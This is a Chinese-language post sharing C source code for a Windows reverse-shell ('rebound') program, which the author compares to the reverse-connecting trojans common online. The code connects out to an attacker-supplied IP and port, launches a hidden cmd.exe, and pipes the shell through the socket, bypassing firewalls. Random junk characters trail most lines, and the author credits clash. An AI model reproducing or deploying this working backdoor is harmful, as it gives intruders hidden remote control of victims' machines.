这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NI s4v(!
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/* ============================== L{fP_DIa
Rebound port in Windows NT UmgLH Cz
By wind,2006/7 gkk <-j'
===============================*/ n8G#TQrAE
#include 5\Y/s o=
#include 0_D~n0rq,v
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#pragma comment(lib,"wsock32.lib") @7^#_772
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void OutputShell(); 3Yj}ra}
SOCKET sClient; |PJW2PN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Nyqm0C6m^
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void main(int argc,char **argv) fZ g*@RR
{ *u{.K:.I
WSADATA stWsaData; 1v\-jM"
int nRet; M9OFK\)
SOCKADDR_IN stSaiClient,stSaiServer; T*T.\b
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if(argc != 3) 4!}fCP ty
{ >6DY3\
printf("Useage:\n\rRebound DestIP DestPort\n"); <7]
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return; nG%j4r ;
} VD#^Xy4% r
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WSAStartup(MAKEWORD(2,2),&stWsaData); l*m|b""].u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (&nl}_`7?,
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stSaiClient.sin_family = AF_INET; 0\~Zg
stSaiClient.sin_port = htons(0); -5ec8m8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Y)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) YYvs~?bAy
{ 99:L#0!.W
printf("Bind Socket Failed!\n"); }b^lg&$(
return; )eV40l$
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} w9PY^U.Y3e
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stSaiServer.sin_family = AF_INET; |B`tRq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pq&c]8H
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _INUJc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aBC[(}Pb]
{ Fszk?0T
printf("Connect Error!"); B&$89]gs|
return; 5Q}@Y3 i=
} 2$ rq
OutputShell(); d?P
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} 0Yjy
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void OutputShell() \~H"!vj
{ :ZIcWIV-
char szBuff[1024]; M:SxAo-D2
SECURITY_ATTRIBUTES stSecurityAttributes; '} kq@
OSVERSIONINFO stOsversionInfo; ?hu 9c
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O&s6blD11
STARTUPINFO stStartupInfo; UiEB?X]-l'
char *szShell; IyuT=A~Ki
PROCESS_INFORMATION stProcessInformation; 7A|jnm
unsigned long lBytesRead; 4>E2G:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,i,=LGn
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,{50zx2
stSecurityAttributes.lpSecurityDescriptor = 0; <XagkD
stSecurityAttributes.bInheritHandle = TRUE; o%5bg(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PS22$_}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ("oA{:@d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g3XAs@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A!kyga6F5
stStartupInfo.wShowWindow = SW_HIDE; K0g:Q*J-
stStartupInfo.hStdInput = hReadPipe; j5O*H_D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~-GDheA
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GetVersionEx(&stOsversionInfo); -DnK)u\@
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switch(stOsversionInfo.dwPlatformId) OQQ9R?Ll{
{ k#(cZ
case 1: QA(,K}z~^S
szShell = "command.com"; ^IpiNY/%Q
break; h'x~"k1
default: v1=X =H
szShell = "cmd.exe"; 0)]1)z(P
break; kk'w@Sn.(
} Q2NnpsA^6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `RcNqPY#S
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send(sClient,szMsg,77,0); JY+[
while(1) srLr~^$j[
{ &^_(xgJL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A%1=6
if(lBytesRead) MGzF+ln^U
{ V2,WP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C#&6p0U
send(sClient,szBuff,lBytesRead,0); u&x K>7
} ;NeP&)Td
else
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{ ha=z<Q
lBytesRead=recv(sClient,szBuff,1024,0); 0gD0}nH
if(lBytesRead<=0) break; q4iD59yd)S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cvA\C_
} WN#lfn8 7
} \2xBOe-a]
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return; ~,68S^nP)H
}